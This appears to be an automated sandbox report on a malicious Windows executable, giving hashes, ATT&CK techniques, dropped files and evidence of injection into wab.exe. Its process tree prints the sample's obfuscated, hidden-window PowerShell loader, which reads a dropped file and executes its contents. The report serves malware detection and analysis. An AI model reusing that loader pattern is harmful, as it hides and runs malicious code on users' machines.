5a47bd114995212a9166e197e412736b01ed55036a580b0cf0622622b030ae5f

General

Target

file.exe
Size

513KB
MD5

24d4de7a804e44b43ee293956d95dc67
SHA1

d9640dc6ce7eb3fd177e3365079f29871788575c
SHA256

5a47bd114995212a9166e197e412736b01ed55036a580b0cf0622622b030ae5f
SHA512

337dd06a4060142313bc6bf7bba1874f976b04997b4d9e60ca2f6f84e44973ae9f24c9fb4bc20e735c48b01e46c1dafd8154f169fad2c6757c45a286f668a0c2
SSDEEP

12288:WQFk0OkQKiNU3oYb/dejj6PVGHyu0u0+RlBbK3Q:W/PYpejj6PVYyuv0+RlBbH

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2284	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2284	powershell.exe
2536	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2284 set thread context of 2536	2284	powershell.exe	33

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2284	powershell.exe
2284	powershell.exe
2284	powershell.exe
2284	powershell.exe
2284	powershell.exe
2284	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2284	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2284	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2284	2172	file.exe	30
PID 2172 wrote to memory of 2284	2172	file.exe	30
PID 2172 wrote to memory of 2284	2172	file.exe	30
PID 2172 wrote to memory of 2284	2172	file.exe	30
PID 2284 wrote to memory of 2536	2284	powershell.exe	33
PID 2284 wrote to memory of 2536	2284	powershell.exe	33
PID 2284 wrote to memory of 2536	2284	powershell.exe	33
PID 2284 wrote to memory of 2536	2284	powershell.exe	33
PID 2284 wrote to memory of 2536	2284	powershell.exe	33
PID 2284 wrote to memory of 2536	2284	powershell.exe	33

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Laurette=Get-Content 'C:\Users\Admin\AppData\Local\Detenterne\Stanget.Sem';$Mfindtlig=$Laurette.SubString(14233,3);.$Mfindtlig($Laurette)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Detenterne\Pathicism.Cat

Filesize
305KB

MD5
55fd2c7c3d4ee548d056d729614b5b8f

SHA1
632536dcfbfac012cb5d16ab2b2b8387ec65eb6d

SHA256
5516cabea74d1ef326c764aec8b9350592d98268982c4ed6a3b2a1f3602edef1

SHA512
e301aa1109ad455416c5f994161751d71564173302c8f2e04e88fdc8c8e8900964f93e12d4c2e9e5db41384fd705e16f3f74c5963dfba4a612d836fa5ccf686a

Download Submit
C:\Users\Admin\AppData\Local\Detenterne\Stanget.Sem

Filesize
52KB

MD5
c1e3ebc52541f2f81f7e0e47bda1a016

SHA1
66f1918254819903fc670960c7f1156cea533706

SHA256
7d2a8552a6abf6e993bc87edfc632d42b3e220deb3ea3cd0f33ae0415576ba27

SHA512
e03946b221d9f27593515d6da5fc4746c52373bf16327ea9670c01f2876fecdc6121c96144d68bf4b6404bfe729c4000b0c3461363c95bf0e994b9ad541ac725

Download Submit
memory/2284-8-0x0000000074581000-0x0000000074582000-memory.dmp

Filesize
4KB

Download
memory/2284-12-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/2284-11-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/2284-10-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/2284-9-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/2284-14-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/2284-16-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/2284-17-0x0000000006640000-0x000000000AE91000-memory.dmp

Filesize
72.3MB

Download
memory/2284-18-0x0000000074580000-0x0000000074B2B000-memory.dmp

Filesize
5.7MB

Download
memory/2536-19-0x0000000000310000-0x0000000001372000-memory.dmp

Filesize
16.4MB

Download

Analysis

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